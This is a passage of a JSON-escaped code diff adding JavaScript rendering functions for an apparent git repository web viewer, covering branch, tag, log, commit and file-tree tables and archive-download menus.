\u0022\u003cimg class\u003d\u005c\u0022inline-identity\u005c\u0022 src\u003d\u005c\u0022\u0022 + v + \u0022\u005c\u0022 alt\u003d\u005c\u0022[]\u005c\u0022 /\u003e\u0022;\n+}\n+\n+function identity(i, size, parts)\n+{\n+\tvar s \u003d \u0022\u0022, em;\n+\n+\tif (!i || !i.email || !i.md5)\n+\t\treturn \u0022\u0022;\n+\n+\tif (!!parts)\n+\t\ts \u003d \u0022\u003cspan class\u003d'identity'\u003e\u0022;\n+\t\n+\ts +\u003d \u0022\u003ca class\u003d'grav-mailto' href\u003d'mailto:\u0022 + san(i.email) + \u0022'\u003e\u0022 +\n+\t\n+\t\t\u0022\u003cspan class\u003dgravatar\u0022 + size + \u0022 alt\u003d'\u0022 + san(i.email) +\n+\t\t\u0022'\u003e\u0022 +\n+\t\tidentity_img(i, size) +\n+\t\t\u0022\u003cimg class\u003d'onhover' src\u003d'\u0022 + identity_av_base(i) +\n+\t\t\u0022'/\u003e\u0022;\n+\n+\tif (parts \u0026 1)\n+\t\ts +\u003d san(decodeURIComponent(i.name));\n+\t\n+\ts +\u003d \u0022\u003c/span\u003e\u003c/a\u003e\u0022;\n+\t\n+\tif (parts \u0026 2)\n+\t\ts +\u003d \u0022 \u003cspan\u003e\u0026lt;\u0022 + san(i.email) + \u0022\u0026gt;\u003c/span\u003e\u0022;\n+\t\n+\tif (parts \u0026 4)\n+\t\ts +\u003d \u0022 \u003cspan\u003e\u0022 + tz_date(i.git_time.time, i.git_time.offset) +\n+\t\t \u0022\u003c/span\u003e\u0022;\n+\t\n+\tif (!!parts)\n+\t\ts +\u003d \u0022\u003c/span\u003e\u0022;\n+\t\n+\treturn s;\n+}\n+\n+function new_ws(urlpath, protocol)\n+{\n+\tif (typeof MozWebSocket !\u003d \u0022undefined\u0022)\n+\t\treturn new MozWebSocket(urlpath, protocol);\n+\n+\treturn new WebSocket(urlpath, protocol);\n+}\n+\n+var branches \u003d new(Array), tags \u003d new(Array), relpre_no_mode, relpost,\n+\t\t\t\tvpath, reponame, rmode, rpath, qbranch, qid, qofs;\n+\n+function makeurl(_reponame, _mode, _rpath, _qbranch, _qid, _qofs)\n+{\n+\tvar base \u003d window.location.pathname, c \u003d '?', b \u003d vpath;\n+\n+\tif (_reponame \u0026\u0026 b[0] !\u003d '/')\n+\t\tb +\u003d '/';\n+\tif (_reponame)\n+\t\tb +\u003d _reponame;\n+\tif (_mode)\n+\t\tb +\u003d '/' + _mode;\n+\tif (_rpath \u0026\u0026 _rpath !\u003d null)\n+\t\tb +\u003d '/' + _rpath;\n+\t\n+\tif (_qbranch) {\n+\t\tb +\u003d '?h\u003d' + _qbranch;\n+\t\tc \u003d '\u0026';\n+\t}\n+\t\n+\tif (_qid) {\n+\t\tb +\u003d c + 'id\u003d' + _qid;\n+\t\tc \u003d '\u0026';\n+\t}\n+\t\n+\tif (_qofs) {\n+\t\tb +\u003d c + 'ofs\u003d' + _qofs;\n+\t\tc \u003d '\u0026';\n+\t}\n+\n+\treturn san(b);\n+}\n+\n+function aliases(oid)\n+{\n+\tvar irefs \u003d \u0022\u0022;\n+\n+\tfor (m \u003d 0; m \u003c oid.alias.length; m++) {\n+\t\tr \u003d oid.alias[m];\n+\n+\t\tif (r.substr(0, 11) \u003d\u003d \u0022refs/heads/\u0022)\n+\t\t\tirefs +\u003d \u0022 \u003cspan class\u003d'inline-branch'\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctable\u003e\u003ctr\u003e\u003ctd class\u003d'tight'\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003cimg class\u003d'branch' tgt\u003d'\u0022 +\n+\t\t\t\tsan(reponame) + \u0022-\u0022 + san(r.substr(11)) +\n+\t\t\t\t\u0022' mtitle\u003d'\u0022+\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt1\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022branch\u005c\u0022\u003e\u003c/div\u003e\u0022 +\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt2\u005c\u0022\u003e\u0022 + i18n(\u0022Branch Snapshot\u0022) + \u0022\u003c/div\u003e\u0022 +\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt3\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022archive\u005c\u0022\u003e\u003c/div\u003e'\u003e\u0022 +\n+\t\t\t\t\u0022\u003c/td\u003e\u003ctd class\u003d'tight'\u003e\u003cspan\u003e\u0022 +\n+\t\t\t\tr.substr(11) + \u0022\u003c/span\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/span\u003e\u0022;\n+\t\telse\n+\t\t\tif (r.substr(0, 10) \u003d\u003d \u0022refs/tags/\u0022)\n+\t\t\t\tirefs +\u003d \u0022 \u003cspan class\u003d'inline_tag'\u003e\u0022 +\n+\t\t\t\t\t\t \u0022\u003cdiv class\u003d'alias'\u003e\u0022 +\n+\t\t\t\t\t\t \u0022\u003cimg class\u003d'tag oneem' tgt\u003d'\u0022 + san(reponame) + \u0022-\u0022 +\n+\t\t\t\t\t\t san(r.substr(10)) +\n+\t\t\t\t\t\t\t\u0022' mtitle\u003d'\u0022+\n+\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt1\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022tag\u005c\u0022\u003e\u003c/div\u003e\u0022 +\n+\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt2\u005c\u0022\u003e\u0022 + i18n(\u0022Tag Snapshot\u0022) + \u0022\u003c/div\u003e\u0022 +\n+\t\t\t\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt3\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022archive\u005c\u0022\u003e\u003c/div\u003e'\u003e\u0022 +\n+\t\t\t\t\t\t\t\u0022\u0026nbsp;\u0022 +\n+\t\t\t\t\t\t r.substr(10) + \u0022\u003c/div\u003e\u003c/span\u003e\u0022;\n+\t}\n+\t\n+\treturn irefs;\n+}\n+\n+function arch_select_handler(e)\n+{\n+\tvar suff, b, newloc \u003d vpath;\n+\n+\te.stopPropagation();\n+\te.preventDefault();\n+\t\n+ if (!vpath || vpath[vpath.length - 1] !\u003d '/')\n+ newloc +\u003d '/';\n+\n+\tnewloc +\u003d reponame;\n+\tif (reponame[reponame.length - 1] !\u003d '/')\n+\t newloc +\u003d '/';\n+\tnewloc +\u003d \u0022snapshot/\u0022 + e.target.textContent;\n+\t// console.log(newloc);\n+\twindow.location \u003d newloc;\n+\n+\n+\tif (!menu_popup_archive)\n+\t\treturn;\n+\n+\tmenu_popup_archive.remove();\n+\tmenu_popup_archive \u003d null;\n+}\n+\n+function create_popup(t, h_px, v_px, clas, title, wid, an, ar, clicker)\n+{\n+\tvar pop, s \u003d \u0022\u0022, n;\n+\t\n+\tpop \u003d document.createElement(\u0022DIV\u0022)\n+\n+\tpop.className \u003d clas;\n+\tpop.style.top \u003d v_px + \u0022px\u0022;\n+\tif (h_px)\n+\t\tpop.style.left \u003d h_px + \u0022px\u0022;\n+\t\n+\tif (wid)\n+\t\tpop.style.width \u003d wid + \u0022px\u0022;\n+\n+\t\n+\tif (title)\n+\t\ts +\u003d \u0022\u003cdiv class\u003d'popalias'\u003e\u0022 +\n+\t\t\ttitle + \u0022\u003c/div\u003e\u0022;\n+\t\n+\tif (an.length) {\n+\n+\t\ts +\u003d \u0022\u003cdiv\u003e\u003cul id\u003d'menu-ul'\u003e\u0022;\n+\t\n+\t\tfor (n \u003d 0; n \u003c an.length; n++)\n+\t\t\t\ts +\u003d \u0022\u003cli id\u003d'\u0022 + ar[n] + \u0022' tabindex\u003d'\u0022 + n + \u0022'\u003e\u0022 +\n+\t\t\t\t\tan[n] + \u0022\u003c/li\u003e\u0022;\n+\t\t\n+\t\ts +\u003d \u0022\u003c/ul\u003e\u003c/div\u003e\u0022;\n+\t\t\n+\t}\n+\t\t \n+\tpop.innerHTML \u003d s;\n+\tt.parentNode.appendChild(pop, null);\n+\n+\tif (an.length) {\n+\t\tdocument.getElementById(ar[0]).focus();\n+\t\tfor (n \u003d 0; n \u003c an.length; n++)\n+\t\t\tdocument.getElementById(ar[n]).addEventListener(\n+\t\t\t\t\t\t\t\t\t\t\t\u0022click\u0022, clicker, false);\n+\t}\n+\tsetTimeout(function() {\n+\t\tpop.style.opacity \u003d \u00221\u0022;\n+\t}, 1);\n+\n+\t/* detect loss of focus for popup menu */\n+\tpop.addEventListener(\u0022focusout\u0022, function(e) {\n+\t\t/* if focus went to a child (menu item), ignore */\n+\t\tif (e.relatedTarget \u0026\u0026\n+\t\t e.relatedTarget.parentNode.id \u003d\u003d \u0022menu-ul\u0022)\n+\t\t\treturn;\n+\n+\t\tpop.remove();\n+\t\tpop \u003d null;\n+\t});\n+\n+\treturn pop;\n+}\n+\n+function archive_click(t)\n+{\n+\tvar v \u003d collect_offsetTop(t.target), tgt, title, h;\n+\t\n+\tif (menu_popup_archive) {\n+\t\tmenu_popup_archive.remove();\n+\t\tmenu_popup_archive \u003d null;\n+\t\t\n+\t\treturn;\n+\t}\n+\t\n+\tif (t.target.offsetHeight)\n+\t\tv +\u003d t.target.offsetHeight;\n+\t\n+\th \u003d collect_offsetLeft(t.target) + t.target.offsetWidth;\n+\t\n+\ttgt \u003d t.target.getAttribute(\u0022tgt\u0022);\n+\ttitle \u003d t.target.getAttribute(\u0022mtitle\u0022);\n+\t\n+\tmenu_popup_archive \u003d\n+\t\tcreate_popup(t.target, h, v, \u0022popup-menu\u0022, title, null,\n+\t\t\t\t[ tgt + \u0022.tar.gz\u0022, tgt + \u0022.tar.bz2\u0022,\n+\t\t\t\t tgt + \u0022.tar.xz\u0022, tgt + \u0022.zip\u0022 ],\n+\t\t\t\t[ \u0022gz\u0022, \u0022bz2\u0022, \u0022xz\u0022, \u0022zip\u0022 ],\n+\t\t\t\t\t arch_select_handler);\n+}\n+\n+function clonecopy_click(t)\n+{\n+\tcopy_clipboard(\u0022git clone \u0022 + san(j.url), t.target);\n+}\n+\n+function patch_archive(oid, n)\n+{\n+\treturn \u0022\u003cspan\u003e\u003cimg id\u003d'idpa\u0022 + n + \u0022' class\u003d'patch' tgt\u003d'\u0022 +\n+\t\tsan(reponame) + \u0022-\u0022 + oid +\n+\t\t\u0022' mtitle\u003d'\u0022+\n+\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt1\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022patch\u005c\u0022\u003e\u003c/div\u003e\u0022 +\n+\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt2\u005c\u0022\u003e\u0022 + i18n(\u0022Commit Snapshot\u0022) + \u0022\u003c/div\u003e\u0022 +\n+\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt3\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022archive\u005c\u0022\u003e\u003c/div\u003e'\u003e\u0022 +\n+\t\t\u0022\u003c/span\u003e\u0022;\n+}\n+\n+function html_branches(now, count)\n+{\n+\tvar s \u003d \u0022\u0022, n;\n+\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003ctable\u003e\u003ctr\u003e\u0022 +\n+\t\t\u0022\u003ctd class\u003d'heading' colspan\u003d'2'\u003e\u0022 + i18n(\u0022Branch\u0022) +\n+\t\t\u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Message\u0022) +\n+\t\t\u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Author\u0022) +\n+\t\t\u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Age\u0022) +\n+\t\t\u0022\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\tfor (n \u003d 0; n \u003c branches.length \u0026\u0026 n \u003c count; n++)\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022+\n+\t\t\t \u0022\u003cdiv\u003e\u003cimg id\u003d'idsb\u0022 + n +\n+\t\t\t \t\u0022' class\u003d'branch' tgt\u003d'\u0022 +\n+\t\t\t\tsan(reponame) + \u0022-\u0022 + san(branches[n].name.substr(11)) +\n+\t\t\t\t\u0022' mtitle\u003d'\u0022+\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt1\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022branch\u005c\u0022\u003e\u003c/div\u003e\u0022 +\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt2\u005c\u0022\u003e\u0022 + i18n(\u0022Branch Snapshot\u0022) + \u0022\u003c/div\u003e\u0022 +\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt3\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022archive\u005c\u0022\u003e\u003c/div\u003e'\u003e\u0022 +\n+\t\t\t \u0022\u003c/td\u003e\u003ctd\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\tmakeurl(reponame, \u0022tree\u0022, rpath, branches[n].name.substr(11),\n+\t\t\t\t\tqid, qofs) + \u0022\u005c\u0022\u003e\u0022 + branches[n].name.substr(11) + \u0022\u003c/a\u003e\u0022 +\n+\t\t \u0022\u003c/td\u003e\u003ctd\u003e\u0022 + san(branches[n].summary.msg) +\n+\t\t \u0022\u003c/td\u003e\u003ctd\u003e\u0022 + identity(branches[n].summary.sig_author, 16, 1) +\n+\t\t \u0022\u003c/td\u003e\u003ctd\u003e\u0022 + agify(now, branches[n].summary.time) +\n+\t\t \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\tif (n \u003d\u003d count)\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d5\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\tmakeurl(reponame, \u0022branches\u0022, rpath, qbranch, null, null) +\n+\t\t\t\u0022\u005c\u0022\u003e[...]\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\ts +\u003d \u0022\u003c/table\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\treturn s;\n+}\n+\n+function html_tags(now, count)\n+{\n+\tvar s \u003d \u0022\u0022, n;\n+\t\n+\tif (!tags.length)\n+\t\treturn \u0022\u0022;\n+\t\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class\u003d'heading' colspan\u003d'2'\u003e\u0022 + i18n(\u0022Tag\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Message\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Author\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Age\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd\u003e\u0022 +\n+ \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\tfor (n \u003d 0; n \u003c tags.length \u0026\u0026 n \u003c count; n++) {\n+\t\t\n+\t\tvar mm \u003d tags[n].summary.msg_tag;\n+\t\t//if (!mm)\n+\t\t\t//mm \u003d tags[n].summary.msg;\n+\t\t\n+\t\tif (tags[n].summary \u0026\u0026 tags[n].summary.oid \u0026\u0026 tags[n].summary.oid.oid) {\n+\t\t\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 +\n+\t\t\t\u0022\u003cspan\u003e\u003cimg id\u003d'idst\u0022 + n + \u0022' class\u003d'tag' tgt\u003d'\u0022 +\n+\t\t\t\tsan(reponame) + \u0022-\u0022 + san(tags[n].name.substr(10)) +\n+\t\t\t\t\u0022' mtitle\u003d'\u0022+\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt1\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022tag\u005c\u0022\u003e\u003c/div\u003e\u0022 +\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt2\u005c\u0022\u003e\u0022 + i18n(\u0022Tag Snapshot\u0022) + \u0022\u003c/div\u003e\u0022 +\n+\t\t\t\t\u0022\u003cdiv class\u003d\u005c\u0022putt3\u005c\u0022\u003e\u003cimg class\u003d\u005c\u0022archive\u005c\u0022\u003e\u003c/div\u003e'\u003e\u0022 +\n+\t\t\t\t\u0022\u003c/span\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t\tmakeurl(reponame, \u0022tree\u0022, rpath, qbranch,\n+\t\t\t\ttags[n].summary.oid.oid, qofs) + \u0022\u005c\u0022\u003e\u0022 +\n+\t\t\t\ttags[n].name.substr(10) + \u0022\u003c/a\u003e\u0022 +\n+\t\t\u0022\u003c/td\u003e\u003ctd\u003e\u0022 + san(mm) +\n+\t\t\u0022\u003c/td\u003e\u003ctd\u003e\u0022 + identity(tags[n].summary.sig_tagger, 16, 1) +\n+\t \u0022\u003c/td\u003e\u003ctd\u003e\u0022 + agify(now, tags[n].summary.time) +\n+\t \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t}\n+\t}\n+\t\n+\tif (n \u003d\u003d count)\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d5\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\tmakeurl(reponame, \u0022tags\u0022, rpath, qbranch, null, null) +\n+\t\t\u0022\u005c\u0022\u003e[...]\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\ts +\u003d \u0022\u003c/table\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\treturn s;\n+}\n+\n+function html_log(l, now, count, next)\n+{\n+\tvar s \u003d \u0022\u0022, n;\n+\n+\ts +\u003d \u0022\u003ctable\u003e\u003ctr\u003e\u003ctd class\u003d'heading'\u003e\u0022 +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Message\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Author\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Age\u0022) +\n+ \u0022\u003c/td\u003e\u003ctd class\u003d'heading'\u003e\u0022 +\n+ \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\n+\tif (!l) {\n+\t\tconsole.log(\u0022html_log: null l\u005cn\u0022);\n+\t\treturn;\n+\t}\t\n+\t\n+\tfor (n \u003d 0; n \u003c l.length \u0026\u0026 n \u003c count; n++) {\n+\t\tvar irefs \u003d \u0022\u0022, m, r, c;\n+\t\t\n+\t\tirefs \u003d aliases(l[n].name);\n+\t\t\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 + \n+\t\t\u0022\u003c/td\u003e\u003ctd class\u003d'logmsg'\u003e\u0022 + patch_archive(l[n].name.oid, n) + \u0022 \u003ca href\u003d\u005c\u0022\u0022 +\n+\t\t makeurl(reponame, \u0022commit\u0022, rpath, null, l[n].name.oid, qofs) +\n+\t\t \u0022\u005c\u0022\u003e\u0022 + san(l[n].summary.msg) + \u0022\u003c/a\u003e\u0022 + irefs +\n+\t\t\u0022\u003c/td\u003e\u003ctd\u003e\u0022 + identity(l[n].summary.sig_author, 16, 1) +\n+\t \u0022\u003c/td\u003e\u003ctd\u003e\u0022 + agify(now, l[n].summary.time) +\n+\t \u0022\u003c/td\u003e\u003ctd\u003e\u0022 + //j.items[1].log[n].name.substr(10) +\n+\t \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t}\n+\t\n+\tif (next \u0026\u0026 n \u003d\u003d count) {\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d5\u003e\u003ca href\u003d'\u0022+\n+\t\t\tmakeurl(reponame, \u0022log\u0022, rpath, null, next.oid, qofs) +\n+\t\t\t\u0022'\u003enext\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t}\n+\t\n+\ts +\u003d \u0022\u003c/table\u003e\u0022\n+\t\n+\treturn s;\n+}\n+\n+function html_commit(j) {\n+\tvar s \u003d \u0022\u0022;\n+\t\n+\ts +\u003d \u0022\u003cdiv\u003e\u003ctable\u003e\u0022;\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 + i18n(\u0022Author\u0022) + \u0022\u003c/td\u003e\u003ctd\u003e\u0022 +\n+\t\t\tidentity(j.items[0].commit.sig_author, 16, 7) + \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 + i18n(\u0022Committer\u0022) + \u0022\u003c/td\u003e\u003ctd\u003e\u0022 +\n+\t\t\tidentity(j.items[0].commit.sig_commit, 16, 7) + \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 + i18n(\u0022Tree\u0022) + \u0022\u003c/td\u003e\u003ctd\u003e\u003ca href\u003d\u005c\u0022\u0022 +\n+\t\tmakeurl(reponame, \u0022tree\u0022, rpath,\n+\t\t\t\tqbranch, san(j.items[0].commit.oid.oid), qofs) + \u0022\u005c\u0022\u003e\u0022 +\n+\t\t\t\tsan(j.items[0].commit.oid.oid) + \u0022\u003c/a\u003e\u0022 + \u0022\u0026nbsp;\u0026nbsp;\u0022 +\n+\t\t\t\t\u0022\u003ca href\u003d\u005c\u0022\u0022 + makeurl(reponame, \u0022patch\u0022, rpath,\n+\t\t\t\t\t\tqbranch, san(j.items[0].commit.oid.oid), qofs) + \u0022\u005c\u0022\u003e\u0022 +\n+\t\t\t\t\t\t\u0022\u003cimg class\u003d'rawpatch'\u003e \u0022 +\n+\t\t\t\ti18n(\u0022Raw Patch\u0022) + \u0022\u003c/a\u003e\u0022\n+\t\t\t\t\u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d2\u003e\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\n+\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d2 class\u003d'logtitle'\u003e\u0022 +\n+\t\t\tpatch_archive(j.items[0].commit.oid.oid, 0) +\n+\t\t san(j.items[0].commit.msg) + \u0022 \u0022 +\n+\t\t\taliases(j.items[0].commit.oid) + \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\tif (j.items[0].body)\n+\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d2 \u003e\u0022 + \u0022\u003cpre class\u003d'logbody'\u003e\u0022 +\n+\t\t\t san(j.items[0].body) + \u0022\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\ts +\u003d \u0022\u003c/table\u003e\u003c/div\u003e\u0022;\n+\t\n+\treturn s + \u0022\u003cdiv\u003e\u003cpre\u003e\u003cmain role\u003d'main'\u003e\u003ccode id\u003d'do-hljs' class\u003ddiff\u003e\u0022 +\n+\t\t\t\tsan(j.items[0].diff) + \u0022\u003c/code\u003e\u003c/main\u003e\u003c/pre\u003e\u003c/div\u003e\u0022;\n+}\n+\n+function filemode3(n)\n+{\n+\tvar s \u003d \u0022\u0022;\n+\t\n+\tif (n \u0026 4)\n+\t\ts +\u003d 'r';\n+\telse\n+\t\ts +\u003d '-';\n+\tif (n \u0026 2)\n+\t\ts +\u003d 'w';\n+\telse\n+\t\ts +\u003d '-';\n+\tif (n \u0026 1)\n+\t\ts +\u003d 'x';\n+\telse\n+\t\ts +\u003d '-';\n+\t\n+\treturn s;\n+}\n+\n+function filemode(n)\n+{\n+\tvar s \u003d \u0022\u0022;\n+\n+\tif (n \u0026 16384)\n+\t\treturn \u0022\u0022;\n+\telse\n+\t\ts +\u003d '-';\n+\n+\treturn s + filemode3(n \u003e\u003e 6) + filemode3(n \u003e\u003e 3) + filemode3(n);\n+}\n+\n+function html_tree(j, now)\n+{\n+\tvar n, bi \u003d 0, s \u003d \u0022\u0022, mo \u003d rmode;\n+\t\n+\tif (mo !\u003d\u003d \u0022tree\u0022 \u0026\u0026 mo !\u003d\u003d \u0022blame\u0022)\n+\t\tmo \u003d \u0022tree\u0022;\n+\n+\tif (!blog_mode \u0026\u0026 j.items[0] \u0026\u0026 j.items[0].tree) {\n+\t\n+\t\tvar s \u003d \u0022\u003cdiv class\u003d'jg2-tree'\u003e\u003cpre\u003e\u003ctable\u003e\u003ctr\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Mode\u0022) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctd class\u003d'headingr'\u003e\u0022 + i18n(\u0022Size\u0022) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003ctd class\u003d'heading'\u003e\u0022 + i18n(\u0022Name\u0022) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t\t\t\u0022\u003c/tr\u003e\u0022;\n+\t\tvar t \u003d j.items[0].tree;\n+\t\n+\t\tfor (n \u003d 0; n \u003c t.length; n++) {\n+\t\t\tif ((parseInt(t[n].mode) \u0026 0xe000) \u003d\u003d 0xe000)\n+\t\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0026nbsp\u003c/td\u003e\u003ctd\u003e\u0026nbsp\u003c/td\u003e\u0022 +\n+\t\t\t\t \u0022\u003ctd class\u003d'dl-dir'\u003e\u003cimg class\u003d'submodule'\u003e\u0026nbsp;\u0022 +\n+\t\t\t san(t[n].name) + \u0022\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\telse\n+\t\t\t\n+\t\t\tif (parseInt(t[n].mode) \u0026 16384)\n+\t\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 + filemode(parseInt(j.items[0].tree[n].mode)) + \u0022\u003c/td\u003e\u0022 +\n+\t\t\t \u0022\u003ctd\u003e\u0026nbsp\u003c/td\u003e\u003ctd class\u003d'dl-dir'\u003e\u003cimg class\u003d'folder'\u003e\u0026nbsp;\u0022 +\n+\t\t\t \u0022\u003ca class\u003d'noline' href\u003d'\u0022 +\n+\t\t\t\t makeurl(reponame, mo, (rpath !\u003d null ? rpath + '/' : \u0022\u0022) +\n+\t\t\t\t\t\t san(t[n].name), qbranch, qid, qofs) +\n+\t\t\t\t \u0022'\u003e\u0022 + san(t[n].name) + \u0022\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t\telse\n+\t\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd\u003e\u0022 +\n+\t\t\t\t\t filemode(parseInt(j.items[0].tree[n].mode)) +\n+\t\t\t\t\t \u0022\u003c/td\u003e\u0022 + \u0022\u003ctd class\u003d'r'\u003e\u0022 +\n+\t\t\t\t\t parseInt(j.items[0].tree[n].size) +\n+\t\t\t\t\t \u0022\u003c/td\u003e\u003ctd class\u003d'dl-file'\u003e\u003ca class\u003d'noline' href\u003d'\u0022 +\n+\t\t\t\t\t makeurl(reponame, mo, (rpath !\u003d null ? rpath + '/' : \u0022\u0022) +\n+\t\t\t\t\t\t\t san(j.items[0].tree[n].name), qbranch, qid, qofs) +\n+\t\t\t\t\t \u0022'\u003e\u0022 + san(j.items[0].tree[n].name) + \u0022\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\u0022;\n+\t\t}\n+\t\n+\t\ts +\u003d \u0022\u003c/table\u003e\u003c/pre\u003e\u003c/div\u003e\u0022;\n+\t\tbi \u003d 1;\n+\t}\n+\t\n+\tif (blog_mode)\n+\t\tbi \u003d 1;\n+\t\n+\tif (j.items[bi] \u0026\u0026 j.items[bi].blob) {\n+\t\t\n+\t\tif ((rpath \u0026\u0026 rpath.substr(rpath.length - 3) \u003d\u003d '.md') ||\n+\t\t\t(rpath \u0026\u0026 rpath.substr(rpath.length - 4) \u003d\u003d '.mkd') ||\n+\t\t\tbi) {\n+\t\t\t\n+\t\t\tif (!blog_mode)\n+\t\t\ts +\u003d \u0022\u003cdiv class\u003d'inline'\u003e\u003cdiv class\u003d'inline-title'\u003e\u0022 +\n+\t\t\tsan(j.items[bi].blobname) +\n+\t\t\t \u0022\u003c/div\u003e\u0022;\n+\t\t\ts +\u003d \u0022\u003ctable\u003e\u003ctr\u003e\u0022+\n+\t\t\t\u0022\u003ctd class\u003d'doc' id\u003d'do-showdown'\u003e\u0022 + san_nq(j.items[bi].blob) +\n+\t\t\t\u0022\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/div\u003e\u0022;\n+\t\t} else {\n+\t\t\ts +\u003d \u0022\u003ctable\u003e\u0022;\n+\t\t\t\n+\t\t\tif (j.items[bi + 1] \u0026\u0026 j.items[bi + 1].contrib) {\n+\t\t\t\tvar ct \u003d j.items[bi + 1].contrib, c \u003d ct.length;\n+\t\t\t\tif (c \u003e 20)\n+\t\t\t\t\tc \u003d 20;\n+\t\t\t\ts +\u003d \u0022\u003ctr\u003e\u003ctd colspan\u003d'2'\u003e\u003ctable\u003e\u003ctr\u003e\u0022;\n+\t\t\t\tfor (n \u003d 0; n \u003c c; n++) {\n+\t\t\t\t\ts +\u003d \u0022\u003ctd\u003e\u0022 +\n+\t\t\t\t\tidentity(j.items[bi + 1].blame[ct[n].o].sig_final, 24, 0) +\n+\t\t\t\t\t\t\t\u0022\u003c/td\u003e\u0022;\n+\t\t\t\t}\n+\t\t\t\ts +\u003d 